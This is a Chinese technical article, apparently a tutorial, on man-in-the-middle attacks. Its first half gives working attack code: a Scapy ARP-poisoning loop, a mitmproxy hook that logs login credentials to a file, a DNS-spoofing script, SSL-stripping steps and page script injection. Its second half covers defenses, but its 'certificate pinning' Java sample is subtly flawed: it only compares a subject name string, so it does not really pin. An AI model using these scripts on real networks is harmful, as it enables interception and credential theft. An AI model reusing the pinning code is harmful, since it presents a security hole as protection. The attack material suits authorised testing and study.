一、攻击原理与场景分析
中间人攻击(Man-in-the-Middle Attack)通过截获并篡改通信双方的数据流,实现信息窃取或会话控制。其核心在于攻击者需同时欺骗通信两端,建立虚假连接通道。典型攻击场景包括:
- 内网渗透测试:通过ARP欺骗控制局域网流量
- 公共WiFi劫持:在咖啡厅等场景截获用户凭证
- 协议漏洞利用:针对HTTP/FTP等明文协议的中间人攻击
攻击者需满足三个基础条件:
- 处于通信双方的网络路径上
- 能够构造合法身份标识(如MAC/IP地址)
- 具备流量转发能力(通过工具或自建代理)
二、攻击实施全流程详解
2.1 环境准备阶段
-
网络拓扑分析
使用nmap -sn 192.168.1.0/24扫描目标网络,识别活跃主机与网关地址。通过arp -a命令观察当前ARP缓存表,记录关键节点的MAC-IP映射关系。 -
工具链部署
推荐使用组合工具集:
- 流量嗅探:Wireshark/tcpdump
- ARP欺骗:ettercap/arpspoof
- 会话劫持:bettercap/mitmproxy
- 数据篡改:Scapy框架(Python)
2.2 核心攻击阶段
2.2.1 ARP欺骗实现
通过持续发送伪造ARP响应包,使目标主机将攻击者MAC地址与网关IP绑定。示例Scapy脚本:
from scapy.all import *def arp_poison(target_ip, gateway_ip, interface):while True:sendp(Ether()/ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst=getmacbyip(target_ip)), iface=interface)sendp(Ether()/ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst=getmacbyip(gateway_ip)), iface=interface)time.sleep(2)
2.2.2 会话劫持技术
-
TCP会话劫持
通过预测TCP序列号(使用hping3 -S -p 80 --seq 12345 target_ip扫描)构造RST/SYN包中断现有连接,随后注入恶意数据。 -
HTTP明文劫持
使用mitmproxy中间件拦截请求:from mitmproxy import httpdef request(flow: http.HTTPFlow):if "login" in flow.request.pretty_url:with open("captured_creds.txt", "a") as f:f.write(f"{flow.request.url}\n{flow.request.text}\n")
2.2.3 SSL剥离攻击
通过ARP欺骗将HTTPS流量降级为HTTP:
- 配置iptables规则转发443端口流量
- 使用sslstrip工具修改HTTP响应头
- 结合ARP欺骗实现全流量劫持
2.3 数据篡改阶段
-
DNS重定向
修改本地hosts文件或构造虚假DNS响应,将域名解析到恶意IP:from scapy.all import *def dns_spoof(pkt):if pkt.haslayer(DNSQR) and "example.com" in str(pkt[DNSQR].qname):spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata="192.168.1.100"))send(spoofed_pkt)
-
HTTP内容修改
使用mitmproxy的response拦截功能修改页面内容:def response(flow: http.HTTPFlow):if "example.com" in flow.request.host:flow.response.text = flow.response.text.replace("</body>","<script>alert('Compromised!');</script></body>")
三、防御体系构建
3.1 网络层防御
-
动态ARP检测
配置交换机开启DAI(Dynamic ARP Inspection),验证ARP包的合法性。示例Cisco配置:Switch(config)# ip arp inspection vlan 10Switch(config)# ip arp inspection validate src-mac dst-mac ip
-
802.1X认证
部署基于端口的网络访问控制,要求设备认证通过后才能接入网络。
3.2 应用层防御
-
HSTS强制HTTPS
服务器返回Strict-Transport-Security头,强制浏览器使用HTTPS连接:Strict-Transport-Security: max-age=31536000; includeSubDomains
-
证书钉扎(Certificate Pinning)
移动端应用内置根证书指纹,防止中间人使用伪造证书:// Android示例TrustManager[] trustManagers = new TrustManager[]{new X509TrustManager() {public void checkClientTrusted(X509Certificate[] chain, String authType) {}public void checkServerTrusted(X509Certificate[] chain, String authType) {if (!chain[0].getSubjectDN().getName().equals("CN=trusted.example.com")) {throw new CertificateException("Invalid certificate");}}public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; }}};
3.3 监控与检测
-
流量基线分析
通过机器学习建立正常流量模型,检测异常ARP请求频率(如超过10次/秒)。 -
终端防护方案
部署EDR(Endpoint Detection and Response)系统,实时监控进程网络行为,识别可疑的ARP欺骗进程。
四、实战案例复盘
某企业内网渗透测试中,攻击团队通过以下步骤完成中间人攻击:
- 使用
arp-sk工具实施双向ARP欺骗 - 通过
driftnet捕获传输中的图片文件 - 注入恶意JavaScript修改OA系统登录页面
- 使用
dns2tcp建立隐蔽隧道外传数据
防御方通过部署网络流量分析系统(NTA),在攻击实施后12分钟检测到异常ARP流量,触发自动化响应流程隔离受感染主机。
五、技术演进趋势
-
5G网络中间人攻击
利用UPF与gNB之间的N3接口漏洞,实施GTP层流量劫持。 -
量子计算威胁
Shor算法可破解现有RSA/ECC加密体系,需提前布局抗量子密码学方案。 -
AI赋能攻击检测
使用图神经网络(GNN)分析主机间的通信关系,精准识别中间人攻击拓扑结构。
本文通过完整技术链条解析,帮助开发者建立从攻击原理到防御实施的完整知识体系。在实际网络环境中,建议结合零信任架构与持续监控体系,构建多层次的中间人攻击防御体系。